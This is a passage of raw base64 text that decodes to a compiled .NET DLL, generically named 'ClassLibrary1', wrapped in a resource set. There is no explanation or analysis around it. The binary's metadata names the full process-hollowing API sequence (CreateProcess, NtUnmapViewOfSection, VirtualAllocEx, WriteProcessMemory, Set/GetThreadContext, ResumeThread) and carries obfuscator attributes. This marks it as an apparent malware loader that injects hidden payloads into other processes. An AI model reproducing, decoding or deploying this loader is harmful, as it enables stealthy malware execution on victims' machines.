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gEAAAAAAAsAAQAAAAAADADxAPYA+wAAAQUBDQESARcBHQFTAVcBWwFgAWQBbwGJA5YDCwASABkAIABFAE4AVQBkALYABAEhALoFAQAAASMA4gUBAAABJQDdBQEAAAEnAPgFAQAAASkA8wUBAAABKwA1BgEAAAEtAEcGAQAAAS8A5gMCAAABMQAJBgEAAAEzAIIAAQAEgAAAAQAAAAAAAAAAAAAAAAAbAAAACAAAAAAAAAAAAAAAfAFdAAAAAAACAAAAAAAAAAAAAACFAaUDAAAAAAIAAAAAAAAAAAAAAIUBVAAAAAAAAAAAAAEAAABwBQAACQAEAAoABAALAAgADAAIAAAAEAAUAFIAAAAQAEEAUgAAAAAAQwBSACMAagEjAHcBAAAAAABBYDEAQ29udGV4dFZhbHVlYDEAQ2xhc3MxAENsYXNzTGlicmFyeTEAVG9JbnQzMgBUb0ludDE2AEEAQgBDAEQARQBQcm9qZWN0RGF0YQBkYXRhAG1zY29ybGliAE1pY3Jvc29mdC5WaXN1YWxCYXNpYwBHZXRQcm9jZXNzQnlJZABSZXN1bWVUaHJlYWQAU3luY2hyb25pemVkAENyZWF0ZUluc3RhbmNlAEdldEhhc2hDb2RlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFZhbHVlVHlwZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZ2V0X1NpemUAU2l6ZU9mAFRvU3RyaW5nAHBhdGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQBCb29sZWFuAFZlcnNpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24ATnRVbm1hcFZpZXdPZlNlY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBDdWx0dXJlSW5mbwBaZXJvAEJ1ZmZlcgBSZXNvdXJjZU1hbmFnZXIAVXNlcgBCaXRDb252ZXJ0ZXIAQ29tcHV0ZXIAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBHZXRCeXRlcwBSZWZlcmVuY2VFcXVhbHMAUnVudGltZUhlbHBlcnMAQ3JlYXRlUHJvY2VzcwBDb25jYXQARm9ybWF0AE9iamVjdABXb3c2NEdldFRocmVhZENvbnRleHQAV293NjRTZXRUaHJlYWRDb250ZXh0AFZpcnR1YWxBbGxvY0V4AEFycmF5AGdldF9Bc3NlbWJseQBCbG9ja0NvcHkAUmVhZFByb2Nlc3NNZW1vcnkAV3JpdGVQcm9jZXNzTWVtb3J5AFN5c3RlbS5TZWN1cml0eQBJc051bGxPckVtcHR5AAAvQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAFIAZQBzAG8AdQByAGMAZQBzAAALIgB7ADAAfQAiAAADIAAAAAAA/CfjrbM7ckihJ/4I2ykiTQADIAABBSABARERBhUSKAESDAYVEigBEggGFRIoARIZBhUSKAESJAQgABMABAABHBwEIAECHAMgAAgGAAESKREtAyAADgIeAAUQAQAeAAYVEjUBEwAGFRIoARMABwYVEjUBEwACEwAFIAEBEwAFAAICHBwEIAASQQYgAgEOEkEGAAESSRJJAgYOBQACDg4cBQABCBIpBAABAg4GAAMODg4OAgYYBgACCB0FCAMAAAgGAAIGHQUIAh0FCgAFARJxCBJxCAgFAAEdBQgFAAEBEmEFAAESVQgDAAABBCABAQgEIAEBDgQgAQECByAEAQ4ODg4EBwESDAQHARIIBAcBEhkEBwESJAcHAxI5AhI5BAcBEj0EBwESGAUHAwIIAjUHLQIIDhEwESwICB0ICAgICAIICAYdBQgCAgICAgICAgICAggICAgIAh0FAgICAgICAhJVAgMHAQIDBwEIBAcBEikDBwEOBQcCHgACBAoBHgAHBwMTABMAAgQKARMACLA/X38R1Qo6CLd6XFYZNOCJEDEALgAwAC4AMQA1AC4AMAAHBhUSKAESDAcGFRIoARIIBwYVEigBEhkHBhUSKAESJAMGEjkDBhI9AwYSGAIGCQIGCAIGBgQAABIMBAAAEggEAAASGQQAABIkBAAAEjkEAAASPQUAAQESPQQAABIYEQAKAg4OGBgCCRgOEBEwEBEsBgACAhgdCAoABQIYCBAICBAICgAFAhgIHQUIEAgFAAIIGAgIAAUIGAgICAgEAAEIGAYAAgIOHQUIAAQCDg4dBQIEIAASKQcQAQEeAB4ABzABAQEQHgAIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBEgEADUNsYXNzTGlicmFyeTEAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMjEAACkBACQ0NTE2RTBFMS01QzBFLTRCNEUtOUEzMi05RTM3RTIzRTc0MjYAAAwBAAcxLjAuMC4wAAAEAQAAAAgBAAEAAAAAAAgBAAIAAAAAAGEBADRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9fAAAAHQEAAQBUAhVTdHJpcEFmdGVyT2JmdXNjYXRpb24AtAAAAM7K774BAAAAkQAAAGxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQCAAAAAAAAAAAAAABQQURQQURQtAAAAOg+AAAAAAAAAAAAAAI/AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0PgAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAADwDAAAAAAAAAAAAADwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAScAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAB4AgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAARAAOAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAABEABIAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBkAGwAbAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADIAMQAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAATAASAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBkAGwAbAAAADwADgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAFD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPhjAAAAAAAAAAAAABJkAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZAAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWIAAADwDAAAAAAAAAAAAADwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAScAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAB4AgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAARAAOAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAABEABIAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBkAGwAbAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADIANAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAATAASAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBkAGwAbAAAADwADgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA